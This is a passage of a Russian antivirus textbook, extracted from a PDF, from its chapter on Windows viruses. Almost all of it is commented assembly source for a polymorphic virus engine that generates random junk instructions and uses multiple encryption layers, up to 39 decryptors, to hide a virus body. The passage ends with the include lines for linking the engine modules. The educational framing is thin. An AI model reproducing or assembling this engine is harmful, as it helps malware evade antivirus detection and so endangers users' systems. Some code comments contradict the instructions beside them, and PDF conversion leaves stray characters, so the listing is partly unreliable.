Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

 

271

 

 

 

 

 

; случайно выбранная

 

 

; инструкция CMP:

 

 

; ...................

 

 

 

; cmp

eax,esp

 

 

; cmp

al,0c0

 

 

; ...................

 

sub

ecx,2

; Уменьшаем счетчик на 2

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_xor:

 

 

 

cmp

cl,2

; Если длина генерируемой

jl

one_byte

; инструкции меньше 2, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,33h

; Помещаем в al - 33h

stosb

 

; И затем кладем это в буфер

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

 

shl

eax,3

; Умножаем eax на 8

add

al,0c0h

; Добавляем к al - 0c0h

mov

dl,al

; помещаем в cl - al

call

rnd_reg

; Получаем случайный регистр

add

al,dl

; Добавляем к al - cl

stosb

 

; И помещаем al в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкция XOR:

 

 

; ...................

 

 

 

; xor

eax,esp

 

 

; xor

edi,ecx

 

 

; ...................

 

sub

ecx,2

; Уменьшаем счетчик на 2

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_test:

 

 

 

cmp

cl,2

; Если длина генерируемой

jl

one_byte

; инструкции меньше 2, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

dl,084h

; Помещаем в dl - 084h

mov

eax,2

; Получаем случайное число

call

brandom32

; в диапазоне 0..1

add

al,dl

; Добавляем к al - dl

stosb

 

; И затем кладем это в буфер

call

rnd_reg

; Вызываем подпрограмму

 

 

; получения случайного

 

 

; регистра

 

add

al,0c0h

; Добавляем к al - 0c0h

mov

dl,al

; помещаем в cl - al

call

rnd_reg

; Получаем случайный регистр

add

al,dl

; Добавляем к al - cl

stosb

 

; И помещаем al в буфер

272

 

 

Windows вирусы

 

 

 

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкция XOR:

 

 

; ...................

 

 

 

; test

eax,esp

 

 

; test

al,cl

 

 

; ...................

 

sub

ecx,2

; Уменьшаем счетчик на 2

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_movr:

 

 

 

cmp

cl,2

; Если длина генерируемой

jl

one_byte

; инструкции меньше 2, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,8bh

; Помещаем в al - 8bh

stosb

 

; Потом помещаем al в буфер

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

 

shl

eax,3

; Умножаем eax на 8

add

al,0c0h

; Добавляем к al - 0c0h

mov

dl,al

; помещаем в cl - al

call

rnd_reg

; Получаем случайный регистр

add

al,dl

; Добавляем к al - cl

stosb

 

; И помещаем al в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкция MOV:

 

 

; ...................

 

 

 

; mov

eax,esp

 

 

; mov

edi,ecx

 

 

; ...................

 

sub

ecx,2

; Уменьшаем счетчик на 2

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_push:

 

 

 

cmp

cl,2

; Если длина генерируемой

jl

one_byte

; инструкции меньше 2, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

call

rnd_reg

; Получаем случайный регистр

add

al,50h

; Добавляем к al - 50h

stosb

 

; Кладем al в буфер

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

 

add

al,58h

; Добавляем к al - 8

stosb

 

; И опять кладем al в буфер

 

 

; В итоге у нас получается

; случайно выбранная

; инструкции PUSH/POP: ; ...................

Windows вирусы

 

273

 

 

 

 

 

 

; push

eax

 

 

; pop

ecx

 

 

; ...................

 

sub

ecx,2

; Уменьшаем счетчик на 2

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_movc:

 

 

 

cmp

cl,5

; Если длина генерируемой

jl

one_byte

; инструкции меньше 5, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

add

al,0b8h

; Добавляем к al - 0b8h

stosb

 

; И кладем al в буфер

call

random32

; Генерируем случайное

stosd

 

; число

 

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции MOV:

 

 

; ...................

 

 

 

; mov

eax,12345678

 

 

; mov

ebp,00056800

 

 

; ...................

 

sub

ecx,5

; Уменьшаем счетчик на 5

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_jmp:

 

 

 

cmp

cl,5

; Если длина генерируемой

jl

one_byte

; инструкции меньше 5, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,0e9h

; Кладем в al - 0b8h

stosb

 

; И кладем al в буфер

xor

eax,eax

; Обнуляем eax

stosd

 

; И кладем его в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции JMP:

 

 

; ...................

 

 

 

; jmp

$+5

 

 

; ...................

 

sub

ecx,5

; Уменьшаем счетчик на 5

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_l32:

 

 

 

cmp

cl,6

; Если длина генерируемой

jl

one_byte

; инструкции меньше 6, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,81h

; Кладем в al - 81h

stosb

 

; И помещаем al в буфер

274

 

 

Windows вирусы

 

 

 

mov

eax,4

; Получаем случайное число

call

brandom32

; в диапазоне от 0..9

add

al,0ch

; Добавляем к нему - 0ch

mov

dl,10h

; Кладем в dl - 10h

mul

dl

; Умножаем на dl

mov

dl,al

; Кладем в dl - al

mov

eax,2

; Получаем случайное число

call

brandom32

; в диапазоне от 0..1

shl

al,3

; Умножаем al на 8

add

dl,al

; Добавляем к dl - al

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

add

al,dl

; Добавляем к al - dl

stosb

 

; И кладем al в буфер

call

random32

; Генерируем случайное

stosd

 

; число и кладем его в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции ADD:

 

 

; ...................

 

 

 

; add

eax,12345678

 

 

; or

ebp,00056800

 

 

; ...................

 

sub

ecx,6

; Уменьшаем счетчик на 5

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_lea:

 

 

 

cmp

cl,6

; Если длина генерируемой

jl

one_byte

; инструкции меньше 6, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,8dh

; Кладем в al - 8dh

stosb

 

; И помещаем al в буфер

mov

dl,08h

; Кладем в dl - 08h

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

mul

dl

; Добавляем к al - dl

add

al,5

; Добавляем к al - 5

stosb

 

; И кладем al в буфер

call

random32

; Генерируем случайное

stosd

 

; число

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции LEA:

 

 

; ...................

 

 

 

; lea

eax,[12345678]

 

 

; lea

ebp,[00056800]

 

 

; ...................

 

sub

ecx,6

; Уменьшаем счетчик на 6

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

Windows вирусы

 

275

 

 

 

 

instr_cl:

 

 

 

cmp

cl,6

; Если длина генерируемой

jl

one_byte

; инструкции меньше 6, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,0e8h

; Кладем в al - e8h

stosb

 

; И помещаем al в буфер

xor

eax,eax

; Обнуляем eax и помещаем

stosd

 

; его в буфер

 

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

 

add

al,58h

; Добавляем к al - 8

stosb

 

; И опять кладем al в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции CALL:

 

 

; ...................

 

 

; call

$+5

 

 

; pop

eax

 

 

; ...................

sub

ecx,6

; Уменьшаем счетчик на 6

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

instr_shl:

 

 

 

cmp

cl,3

; Если длина генерируемой

jl

one_byte

; инструкции меньше 3, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,0c1h

; Кладем в al - 0c1h

stosb

 

; И помещаем al в буфер

mov

eax,6

; Генерируем случайное число

call

brandom32

; в диапазоне 0..5

shl

eax,3

; Умножаем его на 8

add

al,0c0h

; Добавляем к нему - 0c0h

mov

dl,al

; Помещаем в dl - al

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

 

add

al,dl

; Добавляем к al - dl

stosb

 

; И помещаем al в буфер

mov

eax,256

; Генерируем случайное число

call

brandom32

; в диапазоне 0..255

stosb

 

; И кладем его в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции SHL,ROL, ...:

 

 

; ...................

 

 

; ror

eax,78

 

 

; shl

ebp,04

 

 

; ...................

sub

ecx,3

; Уменьшаем счетчик на 2

ret

 

; Возврат из подпрограммы

276

 

 

 

Windows вирусы

 

 

;----------------------------------------------

 

instr_a32:

 

 

 

 

cmp

cl,3

;

Если длина генерируемой

jl

one_byte

;

инструкции меньше 3, то

 

 

;

мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,0fh

;

Кладем в al - 0fh

stosb

 

;

И помещаем al в буфер

lea

esi,[ebp+three_byte_opcode];

Кладем в esi указатель на

 

 

; таблицу частей 3-х байтных

 

 

; инструкций

 

mov

eax,14

;

Генерируем случайное число

call

brandom32

;

в диапазоне 0..13

add

esi,eax

;

Прибавляем к esi - eax

movsb

 

;

Перемещаем байт в буфер

mov

dl,0c0h

;

Кладем в dl - 0с0h

call

free_reg

;

Вызываем подпрограмму

 

 

;

получения свободных

 

 

; регистров

 

shl

eax,3

; Умножаем eax на 8

add

dl,al

;

Добавляем к dl - al

call

free_reg

;

Вызываем подпрограмму

 

 

;

получения свободных

 

 

; регистров

 

add

al,dl

;

Добавляем к al - dl

stosb

 

;

И помещаем al в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции XADD,IMUL, ...:

 

 

; ...................

 

 

; xadd

eax,eax

 

 

; imul

ebp,ecx

 

 

; ...................

sub

ecx,3

;

Уменьшаем счетчик на 3

ret

 

;

Возврат из подпрограммы

;----------------------------------------------

 

instr_xchg:

 

 

 

 

cmp

cl,2

;

Если длина генерируемой

jl

one_byte

;

инструкции меньше 2, то

 

 

;

мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,087h

; Кладем в al - 087h

stosb

 

;

И помещаем al в буфер

mov

dl,0c0h

;

Кладем в dl - 0с0h

call

free_reg

;

Вызываем подпрограмму

 

 

;

получения свободных

 

 

; регистров

 

shl

eax,3

; Умножаем eax на 8

add

dl,al

; Добавляем к dl - al

call

free_reg

;

Вызываем подпрограмму

 

 

;

получения свободных

 

 

; регистров

 

add

al,dl

; Добавляем к al - dl

Windows вирусы

 

277

 

 

 

stosb

 

; И помещаем al в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции XCHG:

 

 

; ...................

 

 

 

; xchg

eax,eax

 

 

; xchg

ebp,ecx

 

 

; ...................

 

sub

ecx,2

; Уменьшаем счетчик на 2

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_a16:

 

 

 

cmp

cl,4

; Если длина генерируемой

jl

one_byte

; инструкции меньше 4, то

 

 

; мы переходим на генерацию

 

 

; однобайтовых инструкций

mov

al,066h

; Кладем в al - 066h

stosb

 

; И помещаем al в буфер

mov

dl,0b8h

; Помещаем в dl - 0b8h

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

 

add

al,dl

; Добавляем к al - dl

stosb

 

; И помещаем al в буфер

mov

eax,0ffffh

; Генерируем случайное число

call

brandom32

; в диапазоне 0..65534

stosw

 

; И помещаем его в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции MOV:

 

 

; ...................

 

 

 

; mov

ax,3452

 

 

; mov

bp,1234

 

 

; ...................

 

sub

ecx,4

; Уменьшаем счетчик на 4

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

one_byte:

 

 

 

mov

eax,3

; Генерируем случайное число

call

brandom32

; в диапазоне 0..2

cmp

al,1

; Если число = 1, то

je

instr_inc

; генерируем инструкцию INC

cmp

al,2

; Если число = 2, то

je

instr_dec

; генерируем инструкцию DEC

lea

esi,[ebp+one_byte_opcode]

; Кладем в esi указатель на

 

 

; таблицу однобайтных

 

 

; инструкций

 

mov

eax,8

; Генерируем случайное число

call

brandom32

; в диапазоне 0..7

add

esi,eax

; Прибавляем к esi - eax

278

 

 

Windows вирусы

 

 

 

test

ecx,ecx

; Если длина инструкции = 0,

jz

landing

; тогда переходим на конец

movsb

 

; Помещаем инструкцию

 

 

; из таблицы в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкция из таблицы:

 

 

; ...................

 

 

 

; cld

 

 

 

; nop

 

 

 

; ...................

 

dec

ecx

; Уменьшаем ecx на единицу

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_inc:

 

 

 

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

 

add

al,40h

; Добавляем к al - 40h

test

ecx,ecx

; Если длина инструкции = 0,

jz

landing

; тогда переходим на конец

stosb

 

; Помещаем al в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции INC:

 

 

 

; ...................

 

 

 

; inc

eax

 

 

; inc

ebp

 

 

; ...................

 

dec

ecx

; Уменьшаем ecx на единицу

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

instr_dec:

 

 

 

call

free_reg

; Вызываем подпрограмму

 

 

; получения свободных

 

 

; регистров

 

add

al,48h

; Добавляем к al - 40h

test

ecx,ecx

; Если длина инструкции = 0,

jz

landing

; тогда переходим на конец

stosb

 

; Помещаем al в буфер

 

 

; В итоге у нас получается

 

 

; случайно выбранная

 

 

; инструкции DEC:

 

 

 

; ...................

 

 

 

; dec

eax

 

 

; dec

ebp

 

 

; ...................

 

dec

ecx

; Уменьшаем ecx на единицу

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

 

 

landing:

 

 

 

add

esp,4

; Выталкиваем их стэка уже

pop

ebx

; не нужный адрес возврата

Windows вирусы

 

279

 

 

 

 

pop

ebp

;

 

pop

esi

; Восстанавливаем регистры

pop

ecx

; из стэка.

pop

edx

;

 

ret

 

; Возврат из подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

FREE REGISTER SUBROUTINE

;

;———————————————————————————————————————---------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROTINE

 

;

;———————————————————————————————————————---------------;

;

[ OUT ]

 

;

;

 

 

;

;

FREE REGISTER -> EAX

 

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

free_reg:

 

 

 

 

 

; Подпрограмма получения

 

 

; свободного регистра

push

edx ecx

; Сохраняем в стэке edx, ecx

another:

 

;

 

call

rnd_reg

; Получаем случайный регистр

cmp

al,bh

; Свободный регистр не может

je

another

; быть таким как reg1

cmp

al,bl

; Свободный регистр не может

je

another

; быть таким как reg1

cmp

al,00000100b

; Используем все регистры

je

another

; кроме esp

pop

ecx edx

; Восстанавливаем ecx, edx

ret

 

; Возврат из подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

RANDOM REGISTER SUBROUTINE

;

;———————————————————————————————————————---------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROTINE

 

;

;———————————————————————————————————————---------------;

;

[ OUT ]

 

;

;

 

 

;

;

RANDOM REGISTER -> EAX

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

rnd_reg:

 

 

 

 

 

; Подпрограмма получения

 

 

; случайного регистра

mov

eax,8

; Получаем случайное число

call

brandom32

; в диапазоне 0..7

ret

 

; Возврат из подпрограммы

;----------------------------------------------

 

mega_table:

 

 

 

dw

instr_x87 -delta_offset

;

 

dw

instr_movr -delta_offset

;

 

280

 

 

 

 

Windows вирусы

 

 

 

 

 

 

dw

instr_push -delta_offset

;

 

 

dw

instr_shl -delta_offset

;

 

 

dw

instr_cmp -delta_offset

;

 

 

dw

instr_xor

-delta_offset

;

 

 

dw

one_byte -delta_offset

;

 

 

dw

instr_movc -delta_offset

;

 

 

dw

instr_je -delta_offset

; Таблица относительных

 

dw

instr_je2 -delta_offset

;

смещений от метки

 

dw

instr_l32 -delta_offset

; delta_offset

 

dw

instr_jmp -delta_offset

;

 

 

dw

instr_lea -delta_offset

;

 

 

dw

instr_test -delta_offset

;

 

 

dw

instr_not -delta_offset

;

 

 

dw

instr_xchg -delta_offset

;

 

 

dw

instr_a32 -delta_offset

;

 

 

dw

instr_a16

-delta_offset

;

 

 

dw

instr_cl

-delta_offset

;

 

;----------------------------------------------

 

 

 

 

 

one_byte_opcode:

 

 

 

 

 

std

 

 

;

 

 

cld

 

 

;

Таблица однобайтовых

 

nop

 

 

;

инструкций

 

clc

 

 

;

 

 

stc

 

 

;

 

 

cmc

 

 

;

 

 

db

0f2h

 

; rep

 

db

0f3h

 

; repnz

;----------------------------------------------

 

 

 

 

 

three_byte_opcode:

 

 

 

db

0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh

; Таблица трехбайтовых

db

0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh

; инструкций

;----------------------------------------------

 

 

 

 

 

В данном полиморфном генераторе использовалась техника множественных декрипторов. Она подразумевает многократную шифровку тела вируса и всех предыдущих декрипторов. Количество декрипторов выбирается случайным образом, но в рамках от 1...39. Перед и после каждой значащей инструкции декриптора идет серия «мусорных» инструкций случайной длины. Регистры в значащих инструкциях непостоянны.

Для его использования нужно будет подключить модули следующим обра-

çîì:

;----------------------------------------------

 

 

include

r_gen32.asm

; Подключение всех

include

t_gen32.asm

; движков

include

pgs32.asm

;

;----------------------------------------------

 

 

После того, как был подробно рассмотрен алгоритм работы этого полиморфного вируса, я думаю, антивирусную программу вы напишите сами. Стоит заметить, что это не очень простая задача.

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]